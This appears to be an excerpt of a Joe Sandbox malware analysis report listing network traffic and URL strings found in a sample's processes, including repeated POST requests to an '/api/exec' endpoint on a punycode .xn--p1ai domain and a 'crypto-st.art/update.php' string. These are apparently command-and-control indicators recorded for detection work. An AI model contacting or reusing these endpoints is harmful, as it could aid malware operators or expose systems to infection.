                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: Joe Sandbox ViewJA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521
                          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDB09F0 recv,send,WSAGetLastError,11_2_6BDB09F0
                          Source: global trafficDNS traffic detected: DNS query: id.xn--80akicokc0aablc.xn--p1ai
                          Source: unknownHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: oZ3vtWXObB.exeString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
                          Source: oZ3vtWXObB.exeString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
                          Source: oZ3vtWXObB.exeString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
                          Source: oZ3vtWXObB.exeString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
                          Source: xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, astclient.dll.10.drString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917190555.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918880338.000000000299A000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917539418.0000000002937000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920462940.000000000271C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917190555.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918880338.000000000299A000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917539418.0000000002937000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920462940.000000000271C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
                          Source: ast.exe, 0000000B.00000003.2363633348.0000000005C34000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2363714018.0000000005C32000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2364006508.0000000005BDE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/gsgccr6alphasslca2023.crl0G
                          Source: ast.exe, 0000000B.00000003.2460667987.0000000005BE0000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2363633348.0000000005C34000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2363714018.0000000005C32000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005BA8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2364006508.0000000005BDE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/root-r6.crl0
                          Source: ast.exe, 0000000B.00000003.2364006508.0000000005C02000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/root-r6.crl0o
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.drString found in binary or memory: http://crl.sectigo.com/COMODOTimeStampingCA_2.crl0r
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1921257541.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.dr, astclient.dll.10.drString found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
                          Source: xcopy.exe, 0000000A.00000003.1921257541.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, astclient.dll.10.drString found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
                          Source: oZ3vtWXObB.exeString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
                          Source: oZ3vtWXObB.exeString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
                          Source: oZ3vtWXObB.exeString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
                          Source: oZ3vtWXObB.exeString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
                          Source: oZ3vtWXObB.exeString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.drString found in binary or memory: http://crt.sectigo.com/COMODOTimeStampingCA_2.crt0#
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1921257541.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.dr, astclient.dll.10.drString found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
                          Source: xcopy.exe, 0000000A.00000003.1921257541.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, astclient.dll.10.drString found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
                          Source: ast.exe, 0000000E.00000002.2405241145.00000000027F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crypto-st.art/update.php
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917190555.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918880338.000000000299A000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917539418.0000000002937000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920462940.000000000271C000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, astclient.dll.10.drString found in binary or memory: http://ocsp.comodoca.com0
                          Source: oZ3vtWXObB.exeString found in binary or memory: http://ocsp.digicert.com0
                          Source: oZ3vtWXObB.exeString found in binary or memory: http://ocsp.digicert.com0A
                          Source: oZ3vtWXObB.exeString found in binary or memory: http://ocsp.digicert.com0C
                          Source: oZ3vtWXObB.exeString found in binary or memory: http://ocsp.digicert.com0X
                          Source: ast.exe, 0000000B.00000003.2363633348.0000000005C34000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2363714018.0000000005C32000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2364006508.0000000005BDE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.globalsign.com/gsgccr6alphasslca20230W
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1921257541.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.dr, astclient.dll.10.drString found in binary or memory: http://ocsp.sectigo.com0
                          Source: ast.exe, 0000000B.00000003.2460667987.0000000005BE0000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2364006508.0000000005C02000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2363633348.0000000005C34000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2363714018.0000000005C32000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005BA8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2364006508.0000000005BDE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp2.globalsign.com/rootr60;
                          Source: ast.exe, 0000000B.00000000.2212062747.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, is-HTIEL.tmp.4.drString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/Nhttp://www.borland.com/namespaces/Types
                          Source: ast.exe, 0000000B.00000002.2708118285.0000000000D48000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/xe
                          Source: ast.exe, 0000000B.00000003.2363633348.0000000005C34000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2363714018.0000000005C32000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2364006508.0000000005BDE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://secure.globalsign.com/cacert/gsgccr6alphasslca2023.crt0
                          Source: ast.exe, 0000000B.00000003.2460667987.0000000005BE0000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2363633348.0000000005C34000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2363714018.0000000005C32000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005BA8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2364006508.0000000005BDE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://secure.globalsign.com/cacert/root-r6.crt06
                          Source: ast.exe, 0000000B.00000002.2708118285.0000000000D48000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2708118285.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000E.00000002.2404512977.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.borland.com/namespaces/Types
                          Source: ast.exe, 0000000E.00000002.2404512977.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.borland.com/namespaces/Types%
                          Source: ast.exe, 0000000E.00000002.2404512977.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.borland.com/namespaces/Types6
                          Source: ast.exe, 0000000E.00000002.2404512977.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.borland.com/namespaces/TypesM
                          Source: ast.exe, 0000000B.00000002.2708118285.0000000000D48000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.borland.com/namespaces/Types_9
                          Source: ast.exe, 0000000B.00000002.2708118285.0000000000D48000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.borland.com/namespaces/Typescrypto
                          Source: ast.exe, 0000000E.00000002.2404512977.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.borland.com/namespaces/Typesd
                          Source: ast.exe, 0000000B.00000002.2708118285.0000000000D48000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.borland.com/namespaces/Typesuntime
                          Source: ast.exe, 0000000B.00000002.2708118285.0000000000D48000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.borland.com/namespaces/Typeswuu
                          Source: ast.exe, 0000000B.00000002.2708118285.0000000000D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.borland.com/namespaces/Typesx6
                          Source: oZ3vtWXObB.exeString found in binary or memory: http://www.digicert.com/CPS0
                          Source: is-HTIEL.tmp.4.drString found in binary or memory: http://www.indyproject.org/
                          Source: is-HTIEL.tmp.4.drString found in binary or memory: http://www.openssl.org/)
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918880338.0000000002986000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.drString found in binary or memory: http://www.openssl.org/V
                          Source: is-V6G0T.tmp.4.drString found in binary or memory: http://www.openssl.org/support/faq.html
                          Source: is-V6G0T.tmp.4.drString found in binary or memory: http://www.openssl.org/support/faq.html....................rbwb.rndC:HOMERANDFILEPRNG
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpString found in binary or memory: http://www.sqlite.org/copyright.html.
                          Source: ast.exe, 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpString found in binary or memory: https://curl.haxx.se/V
                          Source: ast.exe, 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpString found in binary or memory: https://curl.haxx.se/docs/copyright.htmlD
                          Source: xcopy.exe, 0000000A.00000003.1919605698.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, ast.exe, 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpString found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
                          Source: ast.exeString found in binary or memory: https://curl.haxx.se/docs/http-cookies.html#
                          Source: ast.exe, 0000000B.00000000.2214853224.0000000000942000.00000002.00000001.01000000.0000000C.sdmp, is-HTIEL.tmp.4.drString found in binary or memory: https://datatracker.ietf.org/ipr/1524/
                          Source: ast.exe, 0000000B.00000000.2214853224.0000000000942000.00000002.00000001.01000000.0000000C.sdmp, is-HTIEL.tmp.4.drString found in binary or memory: https://datatracker.ietf.org/ipr/1526/
                          Source: ast.exe, 0000000B.00000000.2214853224.0000000000942000.00000002.00000001.01000000.0000000C.sdmp, is-HTIEL.tmp.4.drString found in binary or memory: https://datatracker.ietf.org/ipr/1914/
                          Source: ast.exe, 0000000B.00000003.2336663632.0000000005BD0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn-
                          Source: ast.exe, 0000000B.00000003.2270346280.0000000005BBC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80a
                          Source: ast.exe, 0000000B.00000002.2720318166.000000000650C000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akico
                          Source: ast.exe, 0000000B.00000003.2460874632.0000000005BC2000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2288476613.0000000005BDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aa
                          Source: ast.exe, 0000000B.00000003.2288476613.0000000005BDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aaP
                          Source: is-HTIEL.tmp.4.drString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai
                          Source: ast.exe, 0000000B.00000002.2718754874.0000000005B88000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai00
                          Source: ast.exe, 0000000B.00000002.2709418895.0000000002F64000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai03
                          Source: ast.exe, 0000000B.00000002.2709418895.0000000002F32000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai1
                          Source: ast.exe, 0000000B.00000002.2709418895.0000000002F32000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443
                          Source: ast.exe, 0000000B.00000002.2720318166.000000000650C000.00000004.00000010.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2288476613.0000000005BC2000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005BA8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443...
                          Source: ast.exe, 0000000B.00000002.2709418895.0000000002F23000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443...43
                          Source: ast.exe, 0000000B.00000003.2336663632.0000000005C02000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005C04000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443/
                          Source: ast.exe, 0000000B.00000002.2718754874.0000000005C04000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443/Log
                          Source: ast.exe, 0000000B.00000003.2425639731.0000000005C0D000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2336663632.0000000005BD0000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2460667987.0000000005C04000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005BA8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec
                          Source: ast.exe, 0000000B.00000003.2336663632.0000000005C02000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443/tClnstCln
                          Source: ast.exe, 0000000B.00000003.2288302792.0000000005BE0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:4432
                          Source: ast.exe, 0000000B.00000003.2288302792.0000000005BE0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:4433
                          Source: ast.exe, 0000000B.00000002.2709418895.0000000002F2B000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005BA8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:44335
                          Source: ast.exe, 0000000B.00000002.2710811222.0000000003152000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005BA0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:44335-
                          Source: ast.exe, 0000000B.00000002.2710811222.000000000314B000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:44335...
                          Source: ast.exe, 0000000B.00000003.2364006508.0000000005C02000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2364006508.0000000005BDE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:44335/api/exec
                          Source: ast.exe, 0000000B.00000003.2460874632.0000000005BD1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443RW
                          Source: ast.exe, 0000000B.00000003.2336663632.0000000005BD0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443SI
                          Source: ast.exe, 0000000B.00000003.2363714018.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2336448697.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2425540333.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005BA8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443n
                          Source: ast.exe, 0000000B.00000003.2288302792.0000000005BF4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443nA
                          Source: ast.exe, 0000000B.00000003.2288302792.0000000005BE0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443rO
                          Source: ast.exe, 0000000B.00000003.2460874632.0000000005BD1000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2718754874.0000000005BA8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443uIz
                          Source: ast.exe, 0000000B.00000002.2718754874.0000000005B88000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aiE
                          Source: ast.exe, 0000000B.00000002.2721303645.00000000085AD000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aiI
                          Source: ast.exe, 0000000B.00000003.2336663632.0000000005BD0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aiU
                          Source: ast.exe, 0000000B.00000002.2709418895.0000000002F64000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aid003
                          Source: ast.exe, 0000000B.00000003.2460667987.0000000005BE0000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2288476613.0000000005BC2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aidll
                          Source: ast.exe, 0000000B.00000003.2460667987.0000000005BE0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aidllb/y
                          Source: ast.exe, 0000000B.00000003.2364006508.0000000005BDE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aillQ/
                          Source: ast.exe, 0000000B.00000003.2460667987.0000000005BE0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aillU
                          Source: ast.exe, 0000000B.00000003.2460667987.0000000005BE0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aills
                          Source: ast.exe, 0000000B.00000003.2364006508.0000000005BDE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ainkEx
                          Source: ast.exe, 0000000B.00000002.2718754874.0000000005BA8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ainke
                          Source: ast.exe, 0000000B.00000003.2288476613.0000000005BC2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1airq
                          Source: ast.exe, 0000000B.00000002.2709418895.0000000002F64000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aixe03
                          Source: ast.exe, 0000000B.00000003.2270346280.0000000005BBC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ar
                          Source: ast.exe, 0000000B.00000003.2270346280.0000000005BBC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://id.xn--80akicokc0aablcZ
